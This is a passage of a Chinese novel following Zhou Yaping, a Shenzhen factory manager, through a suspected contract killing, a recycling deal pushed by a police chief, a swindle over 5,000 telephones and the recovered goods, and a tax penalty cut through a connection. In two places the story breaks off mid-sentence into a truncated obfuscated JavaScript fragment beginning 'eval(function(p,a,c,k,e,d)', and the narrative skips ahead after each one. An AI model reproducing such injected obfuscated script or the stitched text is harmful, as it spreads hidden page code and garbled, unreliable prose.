保安负责人继续说:“赖总走到楼梯中间时,就已发现楼下的4个陌生人,老总很机灵,立即知道发生了什么事,他不慌不忙地对这几个坏家伙说:‘朋友,想要什么?要钱?跟我上楼,我办公室保险柜里还有十几万元钱,是今天才收的货款。’四个家伙没有反应,似乎不感兴趣。赖总已经走到他们面前,继续说:‘想要车?送给你们了!’把小车钥匙递了过去。四人中为首的那个接过小车钥匙,另外一个以迅雷不及掩耳之势用一把尖刀刺向赖总,口中狠狠地说:‘老子只要你的命。’赖总用手去挡,这个亡命之徒拿刀一顿乱刺,可怜赖总最终被尖刀切断股动脉,倒在地上,鲜血直流。这班残忍的家伙在旁边抽着烟,一直看着赖总血尽人亡,才开车扬长而去。” 两人听得毛骨悚然。 出了“曙光”公司,两人又去了赖工家,去慰问赖工的遗孀。 赖工的太太姓刘,也是一位电子工程师,是赖工大学的同学。 两人进了赖宅,觉得气氛没有想象中的悲戚,赖太太见到吊唁者并没有哭天嚎地,尽显悲伤,反而显得过于冷静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两人不敢再往下想,联想到刚才在赖工家看到的刘工的冷漠态度,脊背一阵发凉。 “不要乱猜,不要乱猜!”周亚平警告自己。 时间一天天过去,周亚平二人一直关注着赖工被害案侦破的进展。 这一天,早晨刚上班,一个电话打进了周亚平办公室。周亚平接过电话:“你好!请问找哪位?” “周总,是我,派出所老卢呀!” 周亚平记起来了,对方是属地派出所的卢所长,此前为了员工小洪之事,找过他几次。 周亚平赶忙对着话筒说:“是卢所,你好啊!有什么指示?” “别,别!就是问你有没有时间,想请你喝个早茶。”对方说。 平时只有企业老板请所长们喝早茶、吃饭什么的,今天太阳从西边出来,轮到所长请老板喝早茶了?周亚平有点受宠若惊,但隐约预感到事情没有这么简单。 周亚平是吃过早餐才来上班的,但他知道,粤地的喝早茶并非正式地吃早餐,更多的是一种社交仪式,一种沟通机会,一种生活习惯。时间则可以从早晨一直喝到下午。周亚平不好推脱,只能答应下来,问清楚地点后,立即驱车前去。 早茶地点是在当地最豪华的一家茶餐厅,周亚平来到后,见到只有卢所长和另外一个陌生男子坐在一张桌旁。 卢所长见到周亚平来到,马上热情地与他打招呼,并立即介绍给那位男子:“宋总,这就是中央直属企业‘登云’公司的周总。” 宋总双手紧紧握住周亚平:“久闻大名,久闻大名!” 周亚平也笑着说:“宋总你好!幸会,幸会!” 客套了一番,宾主坐下,服务员陆续送上茶点。 一边喝茶,一边聊天,周亚平心里一直在琢磨,究竟是什么情况?没过多久,卢所长终于揭开了谜底。 “周总,我今天请你来,是为你介绍一位朋友,也是一位生意上的伙伴。宋总他们是专门回收工厂工业垃圾的,生意做得很大,你们工厂附近几家企业,都是他们的客户。他几次托我把你介绍给他,希望与你们签订合作合同,把所有工业垃圾都包给他们家收购。”卢所长说道。 原来如此,周亚平放下心来,但又有了另一种为难:“卢所,宋总,按理说,这不算什么事,有卢所一句话就行了。但我们已经与另外一家回收公司签过协议,由他们负责回收。现在如果把这个协议作废,别人会指责我们言而无信。” 宋总听了,连忙询问:“你们签订的协议书中,有没有注明所有工业废料只允许他们一家收购?” 周亚平想了想,说:“那倒没有,我们一般不签这种绝对化的协议。” 宋总笑了:“那就好了,既然没有明确只给一家,那么你们增加一家回收公司并不违约,我们可以再签订一份协议书,也就是说,工业垃圾的收购你可以分给两家企业来做。” 卢所长也笑了:“宋总,你们这些做生意的人脑袋瓜子就是灵光,一下子就想出了好主意。周总,分给两家做,我看这样操作没毛病。不过,请周总看在我的面子上,给老宋的那一部分适当多一点,就按三七开吧,你们原来那家30%,老宋这家70%。” 所长都开口了,还有什么好说的,周亚平支支吾吾地答应了。 别小看回收工业垃圾,表面上很不起眼,但实际上这里的利润非常可观。因为电子厂的工业垃圾中,大多是生产中产生的金属废料,可以说,金银铜铁锡都有。比如,电路板经过波峰焊后,有一道工序是用机器把电路板背面的元件脚切掉。这些切下来的元件脚,基本上都是铜材,表面镀银甚至镀金。回收后,可分离出铜金属与金、银等金属,这都是贵金属,很值钱的。 答应了卢所长的条件后,早茶已近尾声。周亚平突然想起赖工的案件,于是便趁机询问:“卢所,正想向你打听,‘曙光’公司赖工被谋杀一案究竟破了没有?” 卢所长肯定地回答:“早已破了呀!,你不知道吗?” “抓到幕后真凶没有?”周亚平迫不及待地问。 卢所长笑了笑:“哪有什么幕后幕前,就是四个匪徒,抢劫杀人。抢了一辆小车,被我们追缉时弃车逃跑,但最后四人全部被抓。” 由于此前已与谢鞠科进行过深入探讨,因而对卢所长的说法,周亚平不以为然,但又不便反驳。 这顿早茶,说是所长请客,买单的当然是宋老板。至于宋老板是如何搬动卢所长来为他做说客,事成之后他们之间有什么利益分配,是周亚平不知道也不想知道的。 赖工被杀案,别人都认为已经了结,但在周、谢二人心中,这个谜始终未解,两人一直默默地为赖工感到不平。 至于赖太太,在赖工死后就四处追讨公司外部的欠债,经常对债户一把眼泪一把鼻涕地哭诉孤儿寡母的不易,请求客户看在赖公在天之灵的面上,偿还欠债。为此还设立奖励机制,只要是现金还债的,只需给一半的钱就可以结清全部债务。有此一招,债户们一是良心驱使,二是利益所在,争相还债。很快,就收回1千多万现金。然后,赖太太把存款全部取出,带着孩子移民国外。 但赖工之死仍是一个疑问号。 29. 二十九 又是一个早春二月,乍暖还寒。这是电话机市场的淡季,“登云”公司库房里积压了不少产品。周亚平亲自在仓库看了一遭,觉得是个问题,必须尽快解决。他直接走进副总经理柳津生的办公室。 “周总来了!”柳津生起来让座。 “柳总,别动,我们聊一聊。”周亚平在柳津生对面椅子上坐下来。 “是关于电话机销售的事情吧,”柳津生笑着问,“我正好要去找你商量这件事,还真是心有灵犀一点通。” 柳津生接着说:“市场部老陈他们昨天清点了库存,告诉我电话机库存已大大超过限量。我和他们昨天开会研究,制订了一些应急措施,其中有些事牵涉到资金问题,还需你来拍板。” “哦,哪些事?” “一是根据形势的发展,准备重新设计制作宣传彩页,采取遍地撒网的办法,向各个电信企业和大客户企业寄发。二是在电信内部杂志上刊登整页广告,因为有内线朋友帮忙,价格打了5折,很划算。三是为了调动编外销售人员及中介的积极性,在现有的销售奖励机制下,设立‘业务介绍奖’,我们的意见是,奖励标准适当高一点,以便有较大的吸引力。” 这些事,其实都在周亚平脑海里转过圈,因此,一听柳津生说出,马上表态:“柳总,不错,这些钱值得花,我看就按你们研究的意见办。关于奖励政策,对了,简单明了,不要叫‘业务介绍奖’,就叫‘中介奖’吧,可以把奖金标准定高一点,让他们赚些钱。你让市场部拟定一个详细的条例,在办公会上议定后即可执行。” “行!就这样办。”柳津生高兴地说。 周亚平刚从柳津生办公室出来,肖晓堵在前面,气喘吁吁地说:“周总,二车间生产线有个女工在上班时发病了,是精神病发作,现在还在车间里胡闹,一会唱歌,一会又跳舞,其他工人都没法上班了。” 周亚平立即随着肖晓一同来到二车间。那位发病的女工早已被几个人连扶带拽带到了车间办公室,此时,她已经安静下来,瞪着双眼直愣愣地望着进门的周、肖两位领导,好像根本不知道发生了什么事情。 “就是她?”周亚平疑惑地问。 车间主任回答:“是的,她姓汤,别看她现在十分安静,但发病的时候真的很吓人。据她同宿舍的人说,她这个病已经发过好几次了,但也奇怪,她即使在发疯时,也从不打人摔物,而只是唱唱跳跳,最多是又哭又笑。” 周亚平对车间主任说:“这样吧,你安排小汤同寝室的工友先带她回去休息,我们再商议下一步怎么办吧。” 发病女工被带走后,办公室里,大家面面相觑,没人发声。 周亚平向众人扫视一遍,问:“大家看这件事怎么办?” 二车间主任忧心忡忡地说:“这件事很麻烦。我们内地厂也有过这种精神病患者,疯病发作起来,根本控制不住。而且很难治好,即使暂时治好了,以后还可能经常发作。” 肖晓接着说:“是的,这种病随时可能发作,我们又不可能派人时时刻刻跟着小汤,万一她在户外发病,发生了意外,我们无法向她的家人交待。依我的意见,必须尽快让她退职回家。” “对,对!”众人附和。 周亚平思忖片刻,说:“确实也没有什么更好的办法,只能让她休工,送她回家。这样吧,肖经理,你们先电话联系小汤的父母,把她现在的状况如实告知,也把我们的意见告诉他们。同时,你们跟劳资部门联系,按照国家规定,以最优惠的条件计算小汤的离职工资和补偿金。农村孩子,出来打工不容易,适当放宽一点不违规。我还会跟工会说说,针对小汤的特殊情况,能否发放一笔救济金。另外,我想在公司内组织一次捐款活动,专门为小汤今后回家治病募集资金。对了,最重要地是,在小汤离厂时,必须安排两位有责任心的女同志护送,要一直送到家中,把她交给她父母为止。” 按照老总的安排,各个部门分头行动,稳健妥善地处理小汤离职回家一事。当公司护送人员千里迢迢把小汤平安送至家中,并将各类资金共计9万多元交给小汤的父母时,老两口激动得泪流满面,哽咽着说:“谢谢你们!谢谢公司!” 小汤此时处于病情稳定期,人很清醒,她十分坚定地表示:“两位姐姐,请告诉公司,我治好了病,还要回‘登云’公司。” “登云”公司针对市场淡季采取的对策实施后两个月,效果显而易见,各地的订单纷至沓来,积压的电话机产品陆续出库,成品仓库日渐“消瘦”。 这天,陈佑福正在核定向领导汇报的销售月报表,销售员胡月琴走了进来。小胡是销售组长,其实,她这个组长手下只有一个兵,就是还在实习期的销售员唐建军。 “陈经理,现在有一个订单,是中原地区一个经贸公司发来的。说是他们那里一家大型矿山集团公司电讯线路大整顿,电话机全部更新,需要订购一万部电话机。他们是看到电信杂志上的广告才找到我们公司的。” 陈佑福一听,十分高兴,说:“可以呀,你按规定签订合同拿到我这里盖章不就行了。” 小胡面露愁容:“关键是他们不同意按常规途径走。按照我们的规矩,这是一家新客户,必须先汇货款,然后我们再发货,或者他们带汇票来我公司,两家一手交汇票,一手交货。但他们要我们先发货,待他们收到货后,再给我们汇款。这怎么行啊?” “这是一家什么样的公司?”陈佑福问。 “叫什么‘永祥贸易公司’,注册地址是县外贸局二楼,在政府机关设办公室,看来还是有些来头。他们说自己公司是外贸局体制改革而来,也不知真假。” 陈佑福感到为难了,这样一笔大买卖,丢掉了很可惜,但如果贸然向一个陌生单位发一万部电话机,风险之大,不言而喻。想了想,还是忍痛决定:“小胡,我们不能冒这个险。告诉对方,我们是中央直属企业,信誉可以保证,他们可以先派人过来考察;另外,也可以带汇票来我公司,一手交钱,一手交货。” 胡月琴按照陈经理的意见继续与“永祥”公司交涉,但对方坚决不同意先汇款后发货的做法,也不愿意派人去“登云”公司考察,理由是他们业务很忙,为了这样一笔小业务专门派人犯不着。几经谈判,对方提出一个折衷的办法,即由“登云”公司派人运货到该公司,该公司验货后立即办理汇款手续,在该公司所在地实行一手交钱一手交货。 对于这个办法,陈佑福与胡月琴商议后,觉得比较可行。陈佑福对胡月琴说:“你起草一份合同,让他们签字盖章后寄回。然后,雇一部货车,由你和小唐押车,送货去他们公司。一定要等他们办好汇票后才交货。” “行!就这样办。” 双方签好合同后,胡月琴以比较实惠的价格雇了一部大卡车。司机姓王,他按约把车开到“登云”公司仓库楼下装货,但无论怎样摆放,这车最多只能装得下5000部电话机。小胡心想,也好,可以分两次送货,这样可能更加安全。陈佑福听了表示赞同。 装载货物,清点数目,一切就绪。就在胡月琴带着唐建军准备押车上路时,陈佑福拦住了货车:“小胡,发给陕西那边电信局的一批产品出事了,客户说有三十几箱电话机的外包装箱破损,对方仓库拒绝在收货单上签字,没有收货单,我们也无法收到货款,怎么办?这是你主持的业务,必须由你去处理。” 胡月琴说:“陈经理,等我送货回来再去处理不行吗?” “不行呀,”陈佑福叹了口气,“对方说如果不派人及时处理,他们马上全部退货,那样,损失就大了。” 左右为难,两人都不知如何是好。 唐建军出了个主意:“陈经理,胡姐,我看不如这样,我一个人先押车去中原,胡姐马上乘飞机去陕西,待处理完那家客户的投诉后,再飞过来。反正汽车速度慢,飞机速度快,这样,两边都不误事。” 陈佑福虽然觉得小唐刚来公司,还没有成熟的销售经验,但认为他一个大小伙子,又是中专毕业,路上一个人押车应该没有什么问题。胡月琴想想,也没有什么更好的办法,只能这样了。她在送货车离厂时,再三叮嘱唐建军:“小唐,如果我在你们抵达之前赶不到客户那里,你一定要注意,不见兔子不撒鹰,没有拿到支票,绝不能给他们卸货。” “我知道!胡姐,你相信我吧。”唐建军信心十足地回应。 由此,小唐和王司机的车离开了“登云”,直奔客户所在地。 日行夜宿,三天多时间,汽车开到了客户所在的楼下。果然不错,这是一个县外贸局的院子,宽敞漂亮。车刚停下,并未通知客户,不知是不是已有传达室告知,立即就有两个自称“永祥”公司的人来到了车前,其中一个与唐建军紧紧握手:“欢迎!欢迎!知道你们大前天就出发了,估计这个时候应该到我们公司。鄙人蔡舒贤,忝任公司总经理。” 唐建军赶忙回话:“蔡总你好!我是‘登云’公司市场部销售员,叫唐建军,叫我小唐就行了。” “哦,是唐先生,这么远驱车前来,辛苦了!还有这位司机同志,也辛苦了!我们去酒店吧,先住下来,再去吃饭。” 唐建军没有挪步,急忙说:“蔡总,我们先办正事吧。来时领导交待了,必须和你们一同先去办理汇款手续。” 那位蔡总有点不高兴了,说:“这都什么时候了?去到银行人家下班了。现在正是饭点,货车停在我们外贸局大院里很安全,我们吃完饭,下午再去银行办理,一点也不耽误。” 听他这么一说,唐建军也找不出反对的理由,再加上王司机一个劲地叫嚷肚子饿了,催促赶快去吃饭,他只好同意把货车停在院子里,与王司机坐上蔡总的小车,由他们另一个姓张的司机开车,离开外贸局。 蔡总带他们去的是一家豪华酒店,四个人,点了6菜一汤,菜肴都很精致,看来价格不菲。 “唐先生和王司机辛苦了,反正今天不需要开车,我们来一瓶好酒吧。”蔡总提议。 唐建军正准备反对,谁知王司机立即表示赞同:“谢谢蔡总,还真是的,这三天来滴酒不沾,馋死了,要往回开,最早也是明天的事。今天就托蔡总的福,喝一点酒解解乏吧。” 端来的确实也是名酒,“国窖1573”。 酒菜上桌,刚开始动筷,蔡总接了一个电话,回头对唐建军说:“唐先生,实在不好意思,公司有个急事,需要我回去处理一下,我就不能陪你们喝酒了。只有张师傅陪你们吃饭。” 又嘱咐张司机:“张师傅,好好陪贵客吃饭,让他们两人好好喝酒,不着急,慢慢喝,一定要喝尽兴,一瓶酒不够,再来一瓶。” 唐建军赶快说:“够了够了,这一瓶都喝不完。” 看来,这位张师傅不是等闲之人,竟然能说会道,插科打诨毫不含糊,一边吃饭一边聊天,哄得两人十分开心。这顿饭,足足花了一个多小时。 唐建军一直怀疑这个“张师傅”不是专职的小车司机。 吃完饭,那个姓张的把两人送回外贸局,直接带到二楼“永祥”公司办公室坐下,他给两人分别倒了杯茶,就找了个借口离开了。 两人在办公室干坐了半天,一直无人理会,唐建军觉得有点不对头,就对王司机说:“王师傅,我们赶快下去看看车上的货吧。” 走到楼下院子里,去看车上的货物时,两人大惊失色,车厢里已经空空荡荡,5000部电话机全部不见了。 两人立即返回二楼,他们喝茶的办公室仍然无人,再寻找其它办公室,发现这家公司总共才有两间办公室,好在另一间办公室里还坐着一位年轻女士。 唐建军急忙上前打听:“小姐,请问你们公司的蔡总现在哪里?” 那位小姐抬头瞟了他一眼,漫不经心地说:“蔡总哦,已经出差了。” 唐建军一听更急了:“刚才不是还在吗,怎么就出差了?” “公司有急事出差这是常事,刚走的。怎么,什么时候动身还要请示你们?”姑娘不耐烦地说。 “不是,不是,只是我们的货怎么卸了呢?” “你们不是给我们公司送的货吗,为什么不能卸货?” “但你们答应要给我们办理汇票呀。现在汇票未办,货已运走,我们怎么办?”唐建军说着说着,不由得提高了腔调。 那位小姐不干了,严厉地说:“你朝我嚷嚷什么,我们办事员只知道做好本职工作,你有什么事去找我们老总呀!” 唐建军也知道光着急上火解决不了问题,他尽量使自己冷静下来,用平和的语调问:“对不起,我确实是因为着急才这样。请问小姐,蔡总出差什么时候会回来?” 姑娘回答:“老总的事我们怎么搞得清?平常出差,短则三天五天,长则几个月,说不准,说不准。” 听此回答,唐建军哭笑不得。怎么办? 两人别无他法,眼看天色已晚,只好先找一家招待所住下。 第二天,王司机认为自己运货的任务已经完成,因此与唐建军打了个招呼就开车返回,留下小唐独自待在招待所。 唐建军又去了一趟“永祥”公司,仍然一无所获,两间办公室里仍然只有那位不哼不哈的小姐,说不痛不痒的话语。 胡姐至今还未到来,小唐真不知如何是好。心想,无论如何,要把现在的情况向公司做个汇报。 那时候,手机还没有普及,唐建军只能到电信局去打长途电话。 陈佑福接完电话,急忙赶去向柳津生报告,柳觉得这件事情太严重,必须让周总知道,于是,二人又来到周亚平办公室。 “怎么,小胡还没有去到‘永祥’公司?”周亚平问。 陈佑福回复:“是的,她还在处理陕西那边电信局的事。” 胡月琴的进厂,与周亚平有点因缘,她的哥哥,是周亚平曾经就读的管理干部学院的老师,在学校时周和这位老师关系不错。后来,胡老师知道小妹要南下深圳闯荡,就告诉她可以去找周亚平,同时给周亚平打了电话。由此,小胡进了“登云”公司。 “电信局的事处理完没有?”周亚平继续问。 “应该差不多了,”柳津生说,“这丫头够机灵的,走时带了几只香港买的电子表,到人家那里后,到处拜码头。说白了,那个仓库管理员就是故意刁难,运输过程中,外纸箱破损一点是常事,他就是揪住不放。小胡把电子表一送,再请他们餐厅里搓一顿,什么都好说了。为了让他们好下台阶,小胡答应帮他们就地换新的纸箱,这事就算翻篇了,对方再也不再提退货之事。” “对了,恐怕就是因为这件事耽误了,”陈佑福插话说,“小胡请示过,要在当地找单位制作一批新纸箱,这需要一些时间,她可能是打算换好纸箱再离开。” “马上通知她,让她不要再等纸箱了,让纸箱厂做好后直接送客户单位。想法做好客户的工作,告知我们公司有急事需小胡回来。要她尽快赶到‘永祥’公司去,小唐还是太嫩,货物已经被人骗走了。让小胡见机行事,务必把货物追回来,把损失降到最小。”周亚平对二人说。 按照公司领导的指示,胡月琴给客户上上下下做了工作,得到客户的理解。她立即购买当天的机票,赶赴“永祥”公司所在地。 按照约定,唐建军一直在招待所,等待胡月琴的到来。 两人会面后,来不及抱怨,胡月琴要小唐把整个情况详细讲一遍。 小唐知道自己犯了不可饶恕的错误,如果这批货物不能追回,将给公司带来巨大的损失。讲完全过程后,哽咽着说:“胡姐,对不起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黄先生叹了口气:“我们也不想呀,每天吵死了。但改革开放以来,我们的业务大大地缩水,编制也缩小了,局里领导考虑空房太多,不如租出去,这样可以收回点租金,弥补日常开支,因此就把底下两层都出租了。” “请问,如果,我是说如果,这些公司胡作非为,比如在社会上采取欺诈手段骗取利益,与你们有关系吗?”小胡问。 “没有!”黄先生斩钉截铁地说,“他们违规犯法,有工商局管,有法院管,与房东没有一毛钱关系。” 胡月琴懂得,黄先生说的没有错,想用这件事与外贸局理论,是没有结果的。 胡月琴又设法打听到蔡舒贤家的地址,和小唐找到了他家门前,但也吃了闭门羹。蔡太太在门内叫唤:“不要乱敲门,老蔡出差没有回来。” 他们也去过法院报案,但被告知,这样的经济纠纷必须提供详尽的证据,才能立案。可是,胡、唐二人手上,根本拿不出像样的证据。 小胡眼看已经来了三天,仍然一事无成,不免心生焦虑。她想来想去,别无它法,只能走一步险棋。 她让唐建军留在招待所,独自一人来到当地县委会所在地,她准备去告“御状”,直接向本县的一把手告状。戒备森严的县委大院,怎么进去呢,她早已想好办法。小胡的亲哥哥,原来是管理干部学院的教师,后来调到一家新开办的经济报社当主编,胡月琴也借此方便办了一个这家报社的记者证。 小胡大摇大摆地走到县委大院门前,掏出记者证向站岗的警卫晃了晃:“听介绍贵县农村改革成绩昭著,我们打算采访有关部门,在全国好好宣传一番。” 警卫一听,“啪”地一声立正,向小胡敬礼:“请进!” 小胡很快找到大楼内县委书记的办公室,她让自己平静一下,然后直接敲门。 “进来!”里面回应。 推门进屋,只见一个瘦骨嶙峋的男人坐在桌前,正在埋头批阅文件。 小胡见他头也不抬,只好自己先开口:“甄书记,您好!冒昧打扰您了。” 此时,甄书记才抬起头来,见来人是一个陌生的姑娘,颇为惊讶地问:“你是谁?你怎么进来的?” 小胡赶紧上前回话:“甄书记,我叫胡月琴,是从深圳过来的,我们公司是一家中央直属企业,最近我公司被贵县一家贸易公司骗取了5000部电话机,价值60多万元。我们来这里追讨,但人生地不熟,实在没有办法,又不能眼睁睁地看着国家财产受损失,所以,只有向父母官求助。” “哦,小胡,这样的经济纠纷可以通过工商、政法等专门的机构去解决嘛,我们县委会也不能干预这些经济事项。”甄书记慢悠悠地说。 小胡一听,急了:“甄书记,我们去找过法院,他们说不能立案。您管管这件事不是什么‘干预’,而是理所当然。您是这里的一把手,像这样的问题处理不好,对贵县、对您的信誉都会带来非常不利的影响。我住在贵县招待所里,我们打听过,这里的住客大部分都是全国各地跑来追债追货的,都是被骗的。您可能不知道,他们都在传播,贵县是一个‘骗子县’。” “有这种谣言?”甄书记有点气愤。 “这不是谣言,是我们看到的事实。”小胡掏出自己的记者证,递给甄书记,“不瞒您说,我哥哥是这家经济报社的主编,我们家住北京,大院里住着好几家新闻单位的负责人,其中有主流媒体新华社的部门领导,如果你们处理不了这个案子,我最后的办法是向媒体曝光,让全国人民来评理,也让你们县在全国闻名。” 甄书记陷入沉思,其实,他哪里不知道本县很多公司在市场上的不轨行为,也曾想过出面刹车,但看到这两年本县的GDP唰唰上涨,财政收入节节攀升,又不忍心下手,担心阻碍当地经济的发展。 他非常担心小胡说的曝光一事变成事实,因此,放下了架子,让小胡详细地把电话机被骗的过程说了一遍。 “小胡,这样吧,我们还是按程序走,用法律而不是行政手段来解决问题,当然你会担心按常规走时间太长,我会要求他们特事特办,加快进度。我现在就给县法院院长打电话,专门安排这件事。” 当着小胡的面,甄书记给法院院长打电话,把情况讲了一遍,指示他一定要在最快的时间里认真处理此案。 有了书记的安排,案件进展非常快,胡月琴报案的当天就顺利立案,第二天法院就传唤蔡舒贤。但蔡舒贤认为法院像往常一样,只是做做样子给人看,因而根本不予理会。最后逼得法院出动法警准备拘传。 为了说明该县是在认真办案,法院领导还特意安排胡月琴坐上警车,一起去了解办案过程。 警车呼呼地开到蔡舒贤家门前。蔡家是一个独立的院落,内有一栋二层小洋房。带队的法警安排两人先去后门把守,然后自己前去敲门,半天无人回应。法警队长急了,朝里面大声呼叫:“请你们赶快开门,我们执行公务,再不开门我们有权破门而入。” 门内仍无动静,但听到后门一阵骚动,听到有人在高呼:“你跑!我看你往哪里跑?” 没一会,两名法警押着蔡舒贤走到前门来了,其中一个法警指着蔡说:“这小子从后围墙爬出来想跑,被我们当场逮住。” 众人把蔡舒贤拖上警车,其余人也都陆续上车,准备开车。正在此时,蔡太太披头散发地开门出来,大哭大叫地跑到车边,两只手使劲地抓住车门把手,一边哭一边叫:“你们不能抓我家老蔡,你们不能抓!……” 眼看警车已经启动,但无法前行,警队长开门下车,走到蔡太太身边,大声斥责:“松手!松手!你这是妨碍公务。” 后者只顾嚎哭,仍然紧紧抓住把手,不让汽车开行。 警队长火了,一把拽住女人的头发,使劲一拉,女人被掼倒在地。汽车趁此立即开动。 胡月琴哪里见过这阵仗,看了这一幕,只感到一身肉紧,后背发凉。事后,讲到这一段,小胡仍然心有余悸,说当时对于自己的报案甚至都有些后悔。 有了这一出,最终,“登云”公司被骗电话机除了一百多部没有下落,其它都已追回。小胡用自己的智慧和勇气为公司挽回了损失。周亚平在职工大会上对此事特别做了介绍,对胡月琴认真负责的精神和有勇有谋的行为进行了表彰。 30. 三十 周亚平不喜欢用“光阴似箭,日月如梭”之类的套话来形容时间的飞逝,他挂在嘴头上的是:“这日子像奥运会的百米冠军,跑得太快了。” 周亚平从1989年来到深圳,转眼就是十年了。十年以来,周亚平觉得自己在工作上没有什么改变,仍然是每日早出晚归,忙忙碌碌。但家庭里,却发生了一些变化。妻子沈钰珍前后换了两家公司工作,由于家务事繁多,最终当了全职太太;女儿周萌梦大学毕业,已经参加工作。 说到女儿工作之事,周亚平一直有些歉疚。当初,他曾经考虑让她到自己公司上班,毕竟在眼皮底下看着,不会出什么事。但仔细一想,孩子长期在自己父亲的公司工作,什么事都被管得死死的,一定会有压抑感,也无法正常发展。不如让她到外面的世界闯一闯,兴许能加速成长。就这样,萌梦大学毕业后,自己投简历,自己找工作,周亚平没有帮忙。 “登云”公司最近遇到了大麻烦,刚刚结束的财务大检查,查出公司漏缴增值税120多万元。检查组离开前,告诉公司领导,必须补缴税款及滞纳金,另外还有高额罚款,共计500多万元,要求公司尽快缴纳。 如果全部缴纳,公司的资金压力会相当大,这样算下来,整个公司不但今年没有利润,反而会出现大额亏损。要知道,这可是“登云”公司从未发生过的。 周亚平召集了一次专题会议,商议如何应对。会上,把财务部门的几个相关人员狠狠地批评了一顿:“你们怎么搞的,居然会偷税漏税,犯这么低级的错误。” “周总,首先,不管怎么样,这件事应该主要由我承担责任。”财务经理蒋娜娜发言,“但必须说明,这不是偷税,也不是有意地漏税,这是因为我们有些客户直接用现金购货,不要增值□□。由于没有开票,不能形成销售收入,我们做账时就把它放在‘应收款’里,几年下来,积累成700多万元。这次财务检查,就是抓住这一点。补缴税款,这是理所当然,交滞纳金也是有道理的,但罚款这么多,这么重,我们是不服的。这些‘应收款’,我们在公司账上每一笔都写得清清楚楚,不像有的公司,公司财务账上不体现,都记在私账上,根本查不出来。他们反倒什么事都没有,而我们这些老老实实记账的却被罚款。” 副总柳津生也愤愤不平地说:“小蒋说得有道理。哎,这次检查组来,我们也太大意了,没有做一点准备,对检查组成员也没有任何打点,就连中午饭,我说到酒店去吃,你们偏偏听信检查组的,给他们打盒饭。别看他们嘴上说得漂亮,‘打个盒饭就行了’,真给他们吃盒饭,心里一定恼火透了,私下里肯定埋怨我们公司太抠门。这不,报应来了。” “这怎么行,这样重的罚款,太过分了。” “不讲理了,欺负老实人。早知如此,当初我们也应该做本私账。”会场上一片喧哗。 “行了!行了!”周亚平站了起来,“光抱怨有什么用?我们开会 是来商量对策的,不是来诉苦的。” 会场上顿时安静了,但接下来的讨论,虽也提出了一些应对办法,然而仔细分析,没有一条是真正解决问题的。 这段时间,“登云”公司上下,一片愁云惨雾。 正在给“登云”送货的余建军,在仓库等侯工人卸货时,听到库管员与卸货工人聊天,知道了“登云”公司遇到的这件难事。 等工人们把送来的塑胶电话机壳料全部卸完后,余建军直接来到周亚平办公室。 周亚平正在和张泰泉商议工作。小张原来只是单纯的司机,后周亚平发现他虽然文化程度不高,但智商不低,特别是情商较高,公关能力很强。周亚平特意安排他办了几件事,结果,都办得很出色。经过一段时期的考察,周亚平给他加了个头衔:“办公室副主任”。 见到余建军进来,两人都站了起来,小张赶忙沏茶倒水。 “阿余,好久不见!你也真是,忙着赚钱没错,但再忙也得过来见见老朋友呀。”周亚平紧紧握住余建军的手。前面说过,这位“创兴注塑厂”的经理要别人叫他“阿余”。 余建军嘿嘿笑着:“你们才是大忙人,不敢打扰呀。” 寒暄一番后,余建军主动提起:“周总,听说你们在税务上遇到一些麻烦?” 周亚平惊讶地问:“你怎么知道的?” “我是在仓库卸货时偶尔听到的,” 余建军回复,“听说连带补税、滞纳金及罚款,金额非常大?” 周亚平面色凝重:“是呀,我们正在为此发愁。” “能不能把具体情况给我讲讲,” 余建军说,“是这样的,管你们企业的这个税务局的局长,是我的潮州老乡,平时我与他关系一直不错。了解详细情况后,我看能不能说上话。” “阿余,你这真是雪中送炭呀!”周亚平兴奋异常,“我们公司这件事就是有些冤枉,我们真不是有意漏税。谁会这么傻,偷税漏税会把每一家的货款在公账上一笔笔记得清清楚楚?只要主持公道,就不会这样重罚。如果有你这层关系,帮我们把真实情况给局长说清楚,兴许事情会有转机。” 接着,周亚平把税务检查前前后后的情况详细说了一遍。 余建军听完后,胸有成竹地说:“我有数了,这件事包在我身上。周总,你放心,一定会有一个满意的结果。” 张泰泉一边给余建军添加茶水,一边说:“余总,你去税务局时需要什么见面礼,以及方方面面需要打点些什么,尽管和我们说,我马上就去准备。” “对,需要花钱的地方,你一定要告诉我们,不能让你出了力还要出钱。”周亚平也再三叮咛。 余建军摆摆手:“不需要,这个时候去送礼送钱,倒显得我们心虚,反而不好办事。嘿,没关系,我以前没有亏待过这位老乡。” 果然,在余建军的斡旋下,几经周折,最终的处理结果出来了,“登云”公司补缴税款等各项总计236万元,不到原来检查组确定的一半。周亚平终于松了口气,赶忙安排财务部门筹集资金缴纳。在他的心里,阿余这位憨厚本真的老总,不再只是生意上的伙伴,而是值得信赖的好朋友。潜意识里,他觉得欠下一笔很大的人情债。 “登云”公司把所有款项交完的第二天中午,周亚平在一家有名的潮州菜餐馆宴请余建军。席中,周亚平诚恳地说:“阿余,你这次帮了我们这样大一个忙,我都不知怎么感谢你。你自己说吧,需要什么东西,或者需要我们办什么事,我们一定努力办到。” 余建军仍然淡淡地笑着:“周总,你这就见外了,生意场上,谁没有个三灾五难?有了困难,朋友间能帮就帮一把,这有什么值得感谢的。再说,这么多年了,你们一直用我们的塑胶产品,这也是在帮衬我们。我们帮你们一次,也是应该的。” “好!不说客气话了,阿余,我们喝酒。” 今天,为了答谢余建军,周亚平特意从家里带了瓶好酒来。 “喝酒!喝酒!”众人齐声呼喊。 这顿酒饭,大家都很尽兴,已是下午两点多钟,仍未散场。 突然,周亚平的手机响了,是公司门卫打来的:“周总,有位小姐和一个也姓周的老总来找你。那位小姐说是你的女儿,你快回来吧!” 哦,萌梦来公司了?她可是从来没有来过,这次来,一定有什么重要的事情,周亚平暗想。他对门卫说:“你让楼上办公室来人,先把我女儿和那位老总带到我的办公室坐下,我马上回来。” 周亚平急忙回席和大家说明情况,充满歉意地对余建军说:“对不起,剩下的这点酒由柳总和张主任陪你喝完,我就先回公司了。” “去吧!已经喝得差不多了,别耽误你的正事。” 余建军摆手示意,让周亚平尽快离席。 